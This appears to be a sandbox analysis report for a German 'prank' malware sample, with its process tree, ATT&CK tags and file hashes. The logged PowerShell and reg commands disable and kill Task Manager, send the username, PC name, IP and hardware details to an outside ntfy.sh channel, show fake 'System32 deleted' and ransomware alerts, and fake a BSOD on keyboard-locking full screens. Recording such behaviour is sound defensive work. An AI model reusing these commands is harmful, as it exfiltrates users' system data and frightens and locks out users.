      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "$end=(Get-Date).AddSeconds(120);while((Get-Date)-lt $end){Stop-Process -Name 'Taskmgr' -ErrorAction SilentlyContinue;Start-Sleep -Milliseconds 300}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5356
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2812
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "(New-Object -ComObject Shell.Application).MinimizeAll()"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5500
      - C:\Windows\system32\cmd.exe
        
        cmd /c "timeout /t 120 /nobreak >nul && reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\" /v DisableTaskMgr /t REG_DWORD /d 0 /f >nul 2>&1"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1512
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 120 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:3652
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "$user=$env:USERNAME;$pc=$env:COMPUTERNAME;$os=(Get-CimInstance Win32_OperatingSystem).Caption;$ip=(Get-NetIPAddress -AddressFamily IPv4|Where-Object{$_.IPAddress -notlike '127.*' -and $_.IPAddress -notlike '169.*'}|Select-Object -First 1).IPAddress;$cpu=(Get-CimInstance Win32_Processor).Name;$ram=[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1GB,1);$body=\"Prank gestartet! $user\nPC: $pc\nOS: $os\nIP: $ip\nCPU: $cpu\nRAM: ${ram} GB\";Invoke-RestMethod -Uri 'https://ntfy.sh/benne' -Method Post -Body $body -ContentType 'text/plain; charset=utf-8' -Headers @{'Title'='Prank laeuft!!';'Priority'='urgent';'Tags'='skull'}"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('System32 wurde geloescht.`nBitte neu starten.','KRITISCHER FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3992
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('404 Gehirn nicht gefunden.','VIRUS DETECTED','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1028
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Grafikkarte schmilzt... oder nicht.','GPU UEBERHITZT','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5420
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Du hast zu viele Memes gespeichert.','FESTPLATTE VOLL','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Arbeitsspeicher hat gekuendigt.','RAM FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:396
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Internet wurde abgeschaltet. Fuer immer.','NETZWERK TOT','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2276
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Update 999/999... Bitte warten... (luege)','WINDOWS UPDATE','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5432
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Strom ist alle. (Trotzdem noch an?)','BATTERIE 0%','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Maus laeuft weg. Suche laeuft.','MAUS FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Alle Tasten haben Streik angemeldet.','TASTATUR KAPUTT','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5800
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Drucker druckt Ihre Daten... im Nachbarhaus.','DRUCKER FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$f=New-Object System.Windows.Forms.Form;$f.BackColor=[System.Drawing.Color]::Black;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.Bounds=$screen;$f.TopMost=$true;$f.KeyPreview=$true;$f.add_KeyDown({$_.SuppressKeyPress=$true});$sw=$screen.Width;$sh=$screen.Height;$l1=New-Object System.Windows.Forms.Label;$l1.Text='!!! DRUCKER-ALARM !!!';$l1.Font=New-Object System.Drawing.Font('Arial',52,[System.Drawing.FontStyle]::Bold);$l1.ForeColor=[System.Drawing.Color]::Red;$l1.TextAlign='MiddleCenter';$l1.SetBounds(0,[int]($sh*0.10),$sw,110);$l1.BackColor=[System.Drawing.Color]::Transparent;$f.Controls.Add($l1);$l2=New-Object System.Windows.Forms.Label;$l2.Text='Ihr Drucker hat gerade die Polizei angerufen.';$l2.Font=New-Object System.Drawing.Font('Arial',26,[System.Drawing.FontStyle]::Bold);$l2.ForeColor=[System.Drawing.Color]::White;$l2.TextAlign='MiddleCenter';$l2.SetBounds(0,[int]($sh*0.27),$sw,65);$l2.BackColor=[System.Drawing.Color]::Transparent;$f.Controls.Add($l2);$l3=New-Object System.Windows.Forms.Label;$l3.Text='Alle Dokumente wurden an Interpol weitergeleitet.';$l3.Font=New-Object System.Drawing.Font('Arial',19);$l3.ForeColor=[System.Drawing.Color]::FromArgb(255,80,80);$l3.TextAlign='MiddleCenter';$l3.SetBounds(0,[int]($sh*0.39),$sw,48);$l3.BackColor=[System.Drawing.Color]::Transparent;$f.Controls.Add($l3);$l4=New-Object System.Windows.Forms.Label;$l4.Text='Polizei trifft ein in:';$l4.Font=New-Object System.Drawing.Font('Arial',22);$l4.ForeColor=[System.Drawing.Color]::White;$l4.TextAlign='MiddleCenter';$l4.SetBounds(0,[int]($sh*0.52),$sw,48);$l4.BackColor=[System.Drawing.Color]::Transparent;$f.Controls.Add($l4);$cd=New-Object System.Windows.Forms.Label;$cd.Text='5';$cd.Font=New-Object System.Drawing.Font('Arial',130,[System.Drawing.FontStyle]::Bold);$cd.ForeColor=[System.Drawing.Color]::Red;$cd.TextAlign='MiddleCenter';$cd.SetBounds(0,[int]($sh*0.58),$sw,230);$cd.BackColor=[System.Drawing.Color]::Transparent;$f.Controls.Add($cd);$n=5;$t=New-Object System.Windows.Forms.Timer;$t.Interval=1000;$t.Add_Tick({$script:n--;$cd.Text=[string]$script:n;$f.TopMost=$true;if($script:n -le 0){$t.Stop();$f.Close()}});$t.Start();$f.Show();$f.WindowState='Maximized';$f.BringToFront();[System.Windows.Forms.Application]::Run($f)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2208
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$f=New-Object System.Windows.Forms.Form;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.Bounds=$screen;$f.TopMost=$true;$f.KeyPreview=$true;$f.add_KeyDown({$_.SuppressKeyPress=$true});$sw=$screen.Width;$sh=$screen.Height;$colors=@([System.Drawing.Color]::Red,[System.Drawing.Color]::Blue,[System.Drawing.Color]::Lime,[System.Drawing.Color]::Magenta,[System.Drawing.Color]::Yellow,[System.Drawing.Color]::Cyan,[System.Drawing.Color]::OrangeRed,[System.Drawing.Color]::DeepPink);$ci=0;$phase=0;$elapsed=0;$oops=New-Object System.Windows.Forms.Label;$oops.Text='OOPS';$oops.Font=New-Object System.Drawing.Font('Arial',180,[System.Drawing.FontStyle]::Bold);$oops.ForeColor=[System.Drawing.Color]::White;$oops.TextAlign='MiddleCenter';$oops.SetBounds(0,0,$sw,$sh);$oops.BackColor=[System.Drawing.Color]::Transparent;$oops.Visible=$false;$f.Controls.Add($oops);$pink=[System.Drawing.Color]::FromArgb(255,20,147);$t=New-Object System.Windows.Forms.Timer;$t.Interval=120;$t.Add_Tick({$script:elapsed+=$t.Interval;if($script:elapsed -le 5000){$f.BackColor=$colors[$script:ci ci++}else{$f.BackColor=$pink;$oops.ForeColor=[System.Drawing.Color]::Red;$oops.Visible=$true;$f.TopMost=$true};if($script:elapsed -ge 9000){$t.Stop();$f.Close()}});$t.Start();$f.Show();$f.WindowState='Maximized';$f.BringToFront();[System.Windows.Forms.Application]::Run($f)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5208
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Bluetooth sucht Geraet: Dein IQ... nicht gefunden.','KOPFHOERER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5068
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Jemand schaut zu. Winke winke!','WEBCAM AN','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1304
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('NSA laedt Ihre Meme-Sammlung herunter... 47%','DOWNLOAD LAEUFT','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3308
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Ihr PC hat Sie bei Ihrer Mutter verpetzt.','PRIVATSPAERE FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5536
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Festplatte wurde verschluesselt. Schlussel: 1234','RANSOMWARE','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Prozessor rechnet nach ob du schlau bist. Dauert laenger als erwartet.','CPU 100%','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5024
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Error 69: Zu viel Spass erkannt. Spass wurde deinstalliert.','COOL ERROR','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Windows hat entschieden aufzugeben. Wir koennen das verstehen.','SCHWERER FEHLER','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3992
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Letzter Versuch... System faehrt herunter!','KRITISCH','OK','Error')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5344
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$f=New-Object System.Windows.Forms.Form;$f.BackColor=[System.Drawing.Color]::Black;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.Bounds=$screen;$f.TopMost=$true;$f.KeyPreview=$true;$f.add_KeyDown({$_.SuppressKeyPress=$true});$sw=$screen.Width;$sh=$screen.Height;$red=[System.Drawing.Color]::Red;$dred=[System.Drawing.Color]::FromArgb(180,0,0);$wh=[System.Drawing.Color]::White;$gray=[System.Drawing.Color]::FromArgb(150,150,150);$tr=[System.Drawing.Color]::Transparent;$w=New-Object System.Windows.Forms.Label;$w.Text='[ KRITISCHER SYSTEMFEHLER]';$w.Font=New-Object System.Drawing.Font('Courier New',18,[System.Drawing.FontStyle]::Bold);$w.ForeColor=$dred;$w.TextAlign='MiddleCenter';$w.SetBounds(0,[int]($sh*0.03),$sw,46);$w.BackColor=$tr;$f.Controls.Add($w);$title=New-Object System.Windows.Forms.Label;$title.Text='ALLE DATEN WERDEN GELOESCHT';$title.Font=New-Object System.Drawing.Font('Arial',44,[System.Drawing.FontStyle]::Bold);$title.ForeColor=$red;$title.TextAlign='MiddleCenter';$title.SetBounds(0,[int]($sh*0.11),$sw,95);$title.BackColor=$tr;$f.Controls.Add($title);$files=@('C:\Users\Elias\Documents\Hausarbeit_final_FINAL2.docx','C:\Users\Elias\Pictures\peinliche_fotos\img_2847.jpg','C:\Users\Elias\Desktop\passwoerter_NICHT_LOESCHEN.txt','C:\Users\Elias\Downloads\totally_legal_movie.mp4','C:\Windows\System32\drivers\etc\hosts','C:\Users\Elias\AppData\Discord\saved_messages.db','D:\Games\Minecraft\saves\survival_welt_3jahre.dat','C:\Users\Elias\Documents\bankdaten_geheim.xlsx','C:\Users\Elias\Pictures\selfies\cringe_2019.jpg','C:\Program Files\Steam\userdata\screenshots\');$filelbl=New-Object System.Windows.Forms.Label;$filelbl.Text='Initialisiere...';$filelbl.Font=New-Object System.Drawing.Font('Courier New',12);$filelbl.ForeColor=[System.Drawing.Color]::FromArgb(255,80,80);$filelbl.TextAlign='MiddleLeft';$filelbl.SetBounds([int]($sw*0.08),[int]($sh*0.28),[int]($sw*0.84),34);$filelbl.BackColor=$tr;$f.Controls.Add($filelbl);$status=New-Object System.Windows.Forms.Label;$status.Font=New-Object System.Drawing.Font('Courier New',11);$status.ForeColor=$gray;$status.TextAlign='MiddleLeft';$status.SetBounds([int]($sw*0.08),[int]($sh*0.35),[int]($sw*0.84),30);$status.BackColor=$tr;$f.Controls.Add($status);$barBg=New-Object System.Windows.Forms.Panel;$barBg.SetBounds([int]($sw*0.08),[int]($sh*0.46),[int]($sw*0.84),34);$barBg.BackColor=[System.Drawing.Color]::FromArgb(40,0,0);$f.Controls.Add($barBg);$bar=New-Object System.Windows.Forms.Panel;$bar.SetBounds(0,0,0,34);$bar.BackColor=$red;$barBg.Controls.Add($bar);$pctlbl=New-Object System.Windows.Forms.Label;$pctlbl.Text='0%';$pctlbl.Font=New-Object System.Drawing.Font('Arial',30,[System.Drawing.FontStyle]::Bold);$pctlbl.ForeColor=$wh;$pctlbl.TextAlign='MiddleCenter';$pctlbl.SetBounds(0,[int]($sh*0.54),$sw,70);$pctlbl.BackColor=$tr;$f.Controls.Add($pctlbl);$cd=New-Object System.Windows.Forms.Label;$cd.Text='Abschluss in: 10 Sekunden';$cd.Font=New-Object System.Drawing.Font('Courier New',15);$cd.ForeColor=$gray;$cd.TextAlign='MiddleCenter';$cd.SetBounds(0,[int]($sh*0.67),$sw,38);$cd.BackColor=$tr;$f.Controls.Add($cd);$deleted=New-Object System.Windows.Forms.Label;$deleted.Text='Geloescht: 0 Dateien | 0.0 GB';$deleted.Font=New-Object System.Drawing.Font('Courier New',12);$deleted.ForeColor=$dred;$deleted.TextAlign='MiddleCenter';$deleted.SetBounds(0,[int]($sh*0.75),$sw,34);$deleted.BackColor=$tr;$f.Controls.Add($deleted);$statusMsgs=@('Verbinde mit Server...','Authentifizierung erfolgreich.','Scanne Verzeichnisse...','Ueberschreibe Sektoren...','Sende Daten an externen Server...','Verschluesselung wird entfernt...','MFT wird beschaedigt...','Backup wird geloescht...','Schattenkopien entfernt.','Abschluss wird vorbereitet...');$n=10;$pval=0;$fc=0;$gb=0.0;$maxW=[int]($sw*0.84);$tick=0;$t=New-Object System.Windows.Forms.Timer;$t.Interval=200;$t.Add_Tick({$script:tick++;$script:pval=[math]::Min(99,[int]($script:tick/50*100));$bar.Width=[int]($maxW*$script:pval/100);$pctlbl.Text=[string]$script:pval+'%';$script:fc+=(Get-Random -Min 12 -Max 180);$script:gb+=[math]::Round((Get-Random -Min 1 -Max 9)/10.0,1);$deleted.Text='Geloescht: '+[string]$script:fc+' Dateien | '+[string]([math]::Round($script:gb,1))+' GB';$fi=$files[(Get-Random -Min 0 -Max $files.Length)];$filelbl.Text='>> Loeschen: '+$fi;$si=[math]::Min($statusMsgs.Length-1,[int]($script:pval/11));$status.Text='Status: '+$statusMsgs[$si];if($script:tick n--;$cd.Text='Abschluss in: '+[string]$script:n+' Sekunden'};$f.TopMost=$true;if($script:tick -ge 50){$t.Stop();$f.Close()}});$t.Start();$f.Show();$f.WindowState='Maximized';$f.BringToFront();[System.Windows.Forms.Application]::Run($f)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1936
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class WA3{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"user32.dll\")]public static extern bool BringWindowToTop(IntPtr h);}' -Language CSharp;$screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$f=New-Object System.Windows.Forms.Form;$f.BackColor=[System.Drawing.Color]::FromArgb(0,100,180);$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.Bounds=$screen;$f.TopMost=$true;$f.KeyPreview=$true;$f.add_KeyDown({$_.SuppressKeyPress=$true});$sw=$screen.Width;$sh=$screen.Height;$wh=[System.Drawing.Color]::White;$dim=[System.Drawing.Color]::FromArgb(190,220,255);function ML($t,$s,$bold,$x,$y,$w,$h,$c){$l=New-Object System.Windows.Forms.Label;$fs=if($bold){[System.Drawing.FontStyle]::Bold}else{[System.Drawing.FontStyle]::Regular};$l.Font=New-Object System.Drawing.Font('Segoe UI',$s,$fs);$l.ForeColor=$c;$l.Text=$t;$l.SetBounds($x,$y,$w,$h);$l.BackColor=[System.Drawing.Color]::Transparent;return $l};$f.Controls.Add((ML ':(' 130 $false ([int]($sw*0.08)) ([int]($sh*0.05)) 500 220 $wh));$f.Controls.Add((ML 'Ihr PC ist auf ein Problem gestossen und' 28 $false ([int]($sw*0.08)) ([int]($sh*0.30)) ([int]($sw*0.84)) 65 $wh));$f.Controls.Add((ML 'muss neu gestartet werden.' 28 $false ([int]($sw*0.08)) ([int]($sh*0.30)+68) ([int]($sw*0.84)) 65 $wh));$f.Controls.Add((ML 'Wir sammeln einige Fehlerinformationen, und dann wird ein Neustart' 17 $false ([int]($sw*0.08)) ([int]($sh*0.51)) ([int]($sw*0.84)) 38 $dim));$f.Controls.Add((ML 'durchgefuehrt. (0% abgeschlossen)' 17 $false ([int]($sw*0.08)) ([int]($sh*0.51)+40) ([int]($sw*0.84)) 38 $dim));$f.Controls.Add((ML 'Weitere Informationen zu diesem Fehler online suchen' 15 $false ([int]($sw*0.08)) ([int]($sh*0.64)) ([int]($sw*0.80)) 36 $dim));$f.Controls.Add((ML 'Fehlercode: DRIVER_IRQL_NOT_LESS_OR_EQUAL' 15 $false ([int]($sw*0.08)) ([int]($sh*0.70)) ([int]($sw*0.75)) 36 $dim));$f.Controls.Add((ML 'Was fehlgeschlagen ist: nvlddmkm.sys' 14 $false ([int]($sw*0.08)) ([int]($sh*0.76)) ([int]($sw*0.7)) 32 $dim));$pct=ML '0%' 17 $false ([int]($sw*0.74)) ([int]($sh*0.87)) 320 42 $wh;$f.Controls.Add($pct);$f.Controls.Add((ML 'abgeschlossen' 15 $false ([int]($sw*0.74)) ([int]($sh*0.87)+44) 320 36 $dim));$start=Get-Date;$tim=New-Object System.Windows.Forms.Timer;$tim.Interval=100;$tim.Add_Tick({$e=((Get-Date)-$script:start).TotalSeconds;$v=[math]::Min(99,[int]($e/10*99));$script:pct.Text=[string]$v+'%';$h=$f.Handle;[WA3]::ShowWindow($h,9)|Out-Null;[WA3]::BringWindowToTop($h)|Out-Null;[WA3]::SetForegroundWindow($h)|Out-Null;$f.TopMost=$true;$f.WindowState='Maximized';$f.Bounds=$screen;$f.Activate();if($e -ge 10){$tim.Stop();$f.Close()}});$tim.Start();$f.Show();$f.WindowState='Maximized';$f.BringToFront();[System.Windows.Forms.Application]::Run($f)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of WriteProcessMemory
        
        PID:5116
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kd1d5oqt\kd1d5oqt.cmdline"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2184
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES66A0.tmp" "c:\Users\Admin\AppData\Local\Temp\kd1d5oqt\CSC6C7BB1A5D3354A4D9462D0BBCF3AA420.TMP"
        8⤵
        
        PID:5828
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f
        6⤵
        
        PID:1040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 37d6284237c6b7c26ab4720af762286159940d281472d7898f53500243a33d98
MD5 c3e764a84a4410c890cb2fb90c78ac12
SHA1 c93b38a9dacd25b5f2a90177e1b05d1bc6897021
SHA512 dbefe37939f0745c5e21706d702a147f74c45f9fee3e774a3d6ec46e78913cd61e474efc9ee8de8a9d4789f93f35564dcd192515b71ab04f2e5a2126c27d433a
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3hibjoRjdvRBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5h
TLSH
T1B1538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download